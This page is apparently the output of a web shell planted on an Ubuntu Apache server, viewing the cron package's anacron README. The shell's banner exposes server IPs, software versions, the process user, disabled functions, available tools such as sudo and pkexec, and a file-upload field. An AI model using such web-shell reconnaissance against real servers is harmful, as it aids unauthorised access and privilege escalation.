| Server IP : 13.213.54.232 / Your IP : 216.73.216.72 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/cron/ |
Upload File : |
To ease coordination with anacron, the invocation of the run-parts for
the /etc/cron.daily, /etc/cron.weekly, and /etc/cron.monthly directories
was changed to the form
test -e /usr/sbin/anacron || run-parts --report /etc/cron.daily
What this means is that if anacron has been installed, it will
be responsible for running those scripts. This is the standard
configuration of anacron: if you simply install both cron and anacron,
things will work as expected.
However, if you have modified your anacron configuration
(/etc/anacrontab), you may need to re-adjust it in order to accommodate
this change.